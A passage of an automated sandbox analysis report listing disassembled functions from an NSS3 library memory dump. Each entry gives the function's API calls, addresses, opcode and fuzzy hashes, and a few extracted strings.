PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CEE6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CEE6D82
DER_GetInteger_Util.NSS3(?), ref: 6CEE6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEE6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CEE6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CEE6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CEE6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CEE6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEE7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CEE7033
free.MOZGLUE(?), ref: 6CEE703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CEE7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CEE7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CEE70AF

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 33521b861cf7448b88fd40797d5e949b4fdc997bb8d4b37bdd2c0b86271776ce
Instruction ID: 6be526f729d61e9eaa95cfcc1bb47dfe82d18153ca0d1ae0a5cb0fe98faf214d
Opcode Fuzzy Hash: 33521b861cf7448b88fd40797d5e949b4fdc997bb8d4b37bdd2c0b86271776ce
Instruction Fuzzy Hash: 73A126719042049BEB009F24DC46B6A36B9DB8938CF34893DEA19CBBD1E735D946C793

Function 6CEAAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAAF39
PR_Unlock.NSS3(?,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAAF69
TlsGetValue.KERNEL32 ref: 6CEAB06B
EnterCriticalSection.KERNEL32(?), ref: 6CEAB083
PR_Unlock.NSS3(?), ref: 6CEAB0A4
TlsGetValue.KERNEL32 ref: 6CEAB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CEAB0D9
PR_Unlock.NSS3 ref: 6CEAB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEAB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEAB182

Part of subcall function 6CEDFAB0: free.MOZGLUE(?,-00000001,?,?,6CE7F673,00000000,00000000), ref: 6CEDFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CEAB177

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAB1C2

Part of subcall function 6CED1560: TlsGetValue.KERNEL32(00000000,?,6CEA0844,?), ref: 6CED157A
Part of subcall function 6CED1560: EnterCriticalSection.KERNEL32(?,?,?,6CEA0844,?), ref: 6CED158F
Part of subcall function 6CED1560: PR_Unlock.NSS3(?,?,?,?,6CEA0844,?), ref: 6CED15B2

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 81a41f6a307dbf49fd8f13edc6306881af61b06f3fa4d2f4aef5b6951ad734e4
Instruction ID: b6298cf7cf26c60159cd562448bcf7b51b4a58078357ba0f340374d3c76d8a5c
Opcode Fuzzy Hash: 81a41f6a307dbf49fd8f13edc6306881af61b06f3fa4d2f4aef5b6951ad734e4
Instruction Fuzzy Hash: D0A1A5B5D00209AFEF009FA4DC41BEA77B4BF19308F244129E905AB751E735E956CBE1

Function 6CEA2C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?l,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23,?), ref: 6CEA2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23,?), ref: 6CEA2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23,?), ref: 6CEA2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23,?), ref: 6CEA2C93

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23,?), ref: 6CEA2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23,?), ref: 6CEA2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23), ref: 6CEA2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CE9E477,?,?,?,00000001,00000000,?), ref: 6CEA2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CE9E477,?,?,?,00000001,00000000,?), ref: 6CEA2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CEA2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CEA2D71
PR_Unlock.NSS3(?), ref: 6CEA2D7E

Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707AD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707CD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707D6
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CE0204A), ref: 6CE707E4
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,6CE0204A), ref: 6CE70864
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE70880
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,6CE0204A), ref: 6CE708CB
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708D7
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708FB

Strings

#?l, xrefs: 6CEA2C43

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?l
API String ID: 2446853827-1190849705
Opcode ID: 8535383a5915bf9d77a040df200159d742b0d5a9b8f099a25d63269cda3ffa01
Instruction ID: 4a43c0d63dd0b81580716564daba9c92032ad7ae9b3394554d7b18f776b6e4d1
Opcode Fuzzy Hash: 8535383a5915bf9d77a040df200159d742b0d5a9b8f099a25d63269cda3ffa01
Instruction Fuzzy Hash: D25105B6D00604AFDB009F65DC449AA7778BF1931CB248524ED1CABB12E731E959C7E1

Function 6CEFAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEFADB1

Part of subcall function 6CEDBE30: SECOID_FindOID_Util.NSS3(6CE9311B,00000000,?,6CE9311B,?), ref: 6CEDBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CEFADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CEFAE08

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEFAE25
PL_FreeArenaPool.NSS3 ref: 6CEFAE63
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CEFAE4D

Part of subcall function 6CE04C70: TlsGetValue.KERNEL32(?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04C97
Part of subcall function 6CE04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CB0
Part of subcall function 6CE04C70: PR_Unlock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEFAE93
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CEFAECC
PL_FreeArenaPool.NSS3 ref: 6CEFAEDE
PL_FinishArenaPool.NSS3 ref: 6CEFAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEFAEF5
PL_FinishArenaPool.NSS3 ref: 6CEFAF16

Strings

security, xrefs: 6CEFADEE

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 4cb0ca2494140601bc76082cf17076800c930aa98cc1e1eef0f77d080a2e2ae3
Instruction ID: 59df3a22373646a4cd275dddd02f3e9d44a34a19e1f72f622379387a67a63509
Opcode Fuzzy Hash: 4cb0ca2494140601bc76082cf17076800c930aa98cc1e1eef0f77d080a2e2ae3
Instruction Fuzzy Hash: 23413DB298021067F7214B14DC45BAA32B8AF4674CF300529E9749FF41FB35A98AC7D3

Function 6CF9AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF49890: TlsGetValue.KERNEL32(?,?,?,6CF497EB), ref: 6CF4989E

EnterCriticalSection.KERNEL32(?), ref: 6CF9AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CF9AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CF9AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CF9AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CF9B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF9B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF9B070
PR_JoinThread.NSS3(?), ref: 6CF9B07B
free.MOZGLUE(?), ref: 6CF9B084
EnterCriticalSection.KERNEL32(?), ref: 6CF9B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CF9B0C4
PR_JoinThread.NSS3(?), ref: 6CF9B0F3
free.MOZGLUE(?), ref: 6CF9B0FC
PR_JoinThread.NSS3(?), ref: 6CF9B137
free.MOZGLUE(?), ref: 6CF9B140

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 33b6ca91a71f7bcf97d6629c2e4cf137d91b5499985970e80cb10081e0e71b6b
Instruction ID: eeae01afd2adca25b731092783c2ba2e39bd4a38d2db8e6c27d7d4038cda83e4
Opcode Fuzzy Hash: 33b6ca91a71f7bcf97d6629c2e4cf137d91b5499985970e80cb10081e0e71b6b
Instruction Fuzzy Hash: 159160B5900601DFDB14DF25C880946BBF5FF4931872985A9D8195BB22EB32FD46CB90

Function 6CF15CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CF12BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CF12A28,00000060,00000001), ref: 6CF12BF0
Part of subcall function 6CF12BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CF12A28,00000060,00000001), ref: 6CF12C07
Part of subcall function 6CF12BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CF12A28,00000060,00000001), ref: 6CF12C1E
Part of subcall function 6CF12BE0: free.MOZGLUE(?,00000000,00000000,?,6CF12A28,00000060,00000001), ref: 6CF12C4A

free.MOZGLUE(?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15D0F
free.MOZGLUE(?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15D4E
free.MOZGLUE(?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15D62
free.MOZGLUE(?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15D85
free.MOZGLUE(?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15D99
free.MOZGLUE(?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CF15E3E
free.MOZGLUE(?,?,?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CF15E47
free.MOZGLUE(?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CF15E78
free.MOZGLUE(?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF15EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF15EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF15F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF15F4B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 7fa33b9d56b8726020a0e72f505d00c7f85dc303d1f62c01a65bf83b23abb90e
Instruction ID: f70a52df957ddc80239cea9c32eaf4be64cdae1f047a0395791fd5861cbdc279
Opcode Fuzzy Hash: 7fa33b9d56b8726020a0e72f505d00c7f85dc303d1f62c01a65bf83b23abb90e
Instruction Fuzzy Hash: C5717CB9E04B019FD700DF24D884A92B7F5BF89308F148569E85E87B11EB31F955CB91

Function 6CE98DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CE98E22
EnterCriticalSection.KERNEL32(?), ref: 6CE98E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CE98E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CE98E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE98E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE98EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CE98EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE98EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CE98F00
free.MOZGLUE(?), ref: 6CE98F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CE98F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CE98F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CE98F5B
PR_Unlock.NSS3(?), ref: 6CE98F72
PR_Unlock.NSS3(?), ref: 6CE98F82

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: d8661efc7c88ac50b8aff055bafa59cc7b007d8490823db2bab26ab16469e728
Instruction ID: baafa859d2b76e269f54297f13c659c5d32eb6b42a62aab9d47e4c85eab375b6
Opcode Fuzzy Hash: d8661efc7c88ac50b8aff055bafa59cc7b007d8490823db2bab26ab16469e728
Instruction Fuzzy Hash: E65108B2E00215AFEB209F68CC8596EB7B9FF45358F25412AEC189B720E731ED4587D1

Function 6CEBCE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CEBCE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CEBCEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CEBCED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CEBCEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CEBCF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CEBCF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CEBCF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CEBCF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CEBCF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CEBCFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CEBCFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CEBCFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CEBCFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CEBD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CEBD021

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 9b38addcc5a4478e1ba4665d9a1a6f54ec052fd4a711fcf1a576a3bbcc354bf7
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 1031747571291127EF0E10565F21BEE206A8B7931EF55003CFD0AF97C0F695AB1702E5

Function 6CF90FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CF91000

Part of subcall function 6CF49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE71A48), ref: 6CF49BB3
Part of subcall function 6CF49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE71A48), ref: 6CF49BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF91016

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_Unlock.NSS3(?), ref: 6CF91021

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF91046
PR_Unlock.NSS3(?), ref: 6CF9106B
PR_Lock.NSS3 ref: 6CF91079
PR_Unlock.NSS3 ref: 6CF91096
free.MOZGLUE(?), ref: 6CF910A7
free.MOZGLUE(?), ref: 6CF910B4
PR_DestroyCondVar.NSS3(?), ref: 6CF910BF
PR_DestroyCondVar.NSS3(?), ref: 6CF910CA
PR_DestroyCondVar.NSS3(?), ref: 6CF910D5
PR_DestroyCondVar.NSS3(?), ref: 6CF910E0
PR_DestroyLock.NSS3(?), ref: 6CF910EB
free.MOZGLUE(?), ref: 6CF91105

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 17d13a726b9e0bb4de00326944560b49b7819770bab98fc56034a4f6eda7944f
Instruction ID: 8de8bc7679250780993329c09373c9afcce98d5637bd20a3664f691e8ef6daae
Opcode Fuzzy Hash: 17d13a726b9e0bb4de00326944560b49b7819770bab98fc56034a4f6eda7944f
Instruction Fuzzy Hash: 2E316AB5A00801ABEB019F25ED41A85BB75BF05318B588134E80953F61EB32F978DBD2

Function 6CE0DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CE0DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CE0DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CE0DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CE0DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0DECD

Strings

database corruption, xrefs: 6CE0DF77, 6CE0DFE7
%s at line %d of [%.10s], xrefs: 6CE0DF7C, 6CE0DFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE0DF6D, 6CE0DFCC, 6CE0DFDD

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
